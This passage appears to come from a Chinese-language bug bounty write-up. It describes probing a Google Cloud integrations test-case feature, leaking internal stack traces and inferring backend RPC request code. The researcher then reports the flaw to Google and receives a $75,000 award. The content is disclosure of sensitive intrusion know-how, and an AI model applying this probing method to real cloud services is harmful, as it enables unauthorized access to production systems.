}这是一个来自执行后端的真实异常,而非超时。无论测试用例功能运行的是哪条代码路径,它都足够深入,最终因实际磁盘 I/O 操作失败。用同样的方法对 GenericStubbyTypedTaskV2 进行测试,得到了信息较少但同样可疑的结果:
Failed to execute test case. Error: Unknown Error.我查看了工作流执行日志,这时真正的错误才显现出来:
{ "message": "com.google.security.authentication.common.CredentialsUnsupportedException: UberMint verification is disabled. You can enable it in AuthenticationMethods; RpcSecurityPolicy http://rpcsp/p/4aPF9XD3vQ_2KYxu2J59zxrLEzDa2CDMRzIYnrADC4w ", "code": 500 }这非常可疑。我肯定发现了什么。通过访问:
GET /v1/projects/<project>/locations/us-west1/integrations/ExampleTest1234:1/executions/id:download
Host: integrations.googleapis.com我可以获取完整的堆栈跟踪:
com.google.enterprise.crm.exceptions.IpCanonicalCodeException: com.google.enterprise.crm.eventbus.testcase.task.mock.MockExecutionFailureException: com.google.net.rpc3.client.RpcClientException: <eye3 title='/EventbusStubbyCallerService.ExecuteStubbyCall, UNAUTHENTICATED'/> APPLICATION_ERROR;enterprise.crm.eventbus.stubby/EventbusStubbyCallerService.ExecuteStubbyCall;com.google.security.authentication.common.CredentialsUnsupportedException: UberMint verification is disabled. You can enable it in AuthenticationMethods; RpcSecurityPolicy http://rpcsp/p/4aPF9XD3vQ_2KYxu2J59zxrLEzDa2CDMRzIYnrADC4w ;AppErrorCode=16;StartTimeMs=1774319566778;unknown;ResFormat=uncompressed;ServerTimeSec=0.00194812;LogBytes=256;FailFast;EffSecLevel=none;ReqFormat=uncompressed;ReqID=bea3d76b582d8a4;GlobalID=0;Server=[2002:a05:6670:4003:b0:ced:80ad:4c54]:4001 Code: FAILED_PRECONDITION
at app//com.google.enterprise.crm.platform.eventbus.v3.EventParametersUtil.serialize(EventParametersUtil.java:744)
at app//com.google.enterprise.crm.platform.eventbus.v3.EventParametersUtil.serialize(EventParametersUtil.java:725)
at app//com.google.enterprise.crm.platform.eventbus.v3.EventParametersUtil.toParameterValueType(EventParametersUtil.java:654)
at app//com.google.enterprise.crm.platform.eventbus.v3.EventParametersUtil.lambda$addEventParametersToEventMessage$0(EventParametersUtil.java:475)
at /java.base@25.0.1/java.util.stream.ReferencePipeline$3$1.accept(Unknown Source)
...由此可知,我们的变量被直接插入到后端的 ExecuteStubbyCallRequest 中。根据尝试不同参数值时的堆栈跟踪,我推测后端代码大致如下:
GenericStubbyTypedTaskV2.buildRequest():
line 219: setServerAddress(serverSpec) → ExecuteStubbyCallRequest.java:1123
line 220: setServiceName(serviceName) → ExecuteStubbyCallRequest.java:1219
line 221: setMethodName(serviceMethod) → ExecuteStubbyCallRequest.java:1313
...那么是否有一些参数需要提供才能让它生效?问题是堆栈跟踪仅帮助我泄露了三个已知参数 serverSpec、serviceName 和 serviceMethod,但从这个方法我无法找到更多参数。此外,Google 将这些 RCE 升级视为安全事件,因此在进一步行动前,我向 Google 的安全团队请求许可。他们很快回复确认这是可攻击的漏洞,并要求我停止进一步的测试。
报告迅速升级到 P0/S0 级别,获得了 🎉Nice catch! 的表扬。近一个月后,该报告因在“Google Cloud 生产环境遭入侵”类别下获得 $75,000 奖金,成为我目前单笔最高赏金。
通过与一些 Googlers 交流,我了解到在 Cloud VRP 表中基础 RCE 赔付大致分为三个等级:
任何具体的 RCE 漏洞在这三级中的定位完全取决于被攻破的生产身份能直接触及多少生产环境。显然,由于从生产访问中可以访问的巨大攻击面,几乎任何初始访问都可能通过权限提升进一步扩大影响。
谷歌对于此处具体原因的解释含糊其辞,但内部团队调查显示该漏洞在生产环境中的影响远超我之前预估的,最终导致其被评定为7.5万美元级别。
时间线(第二次远程代码执行)
需要完整排版与评论请前往来源站点阅读。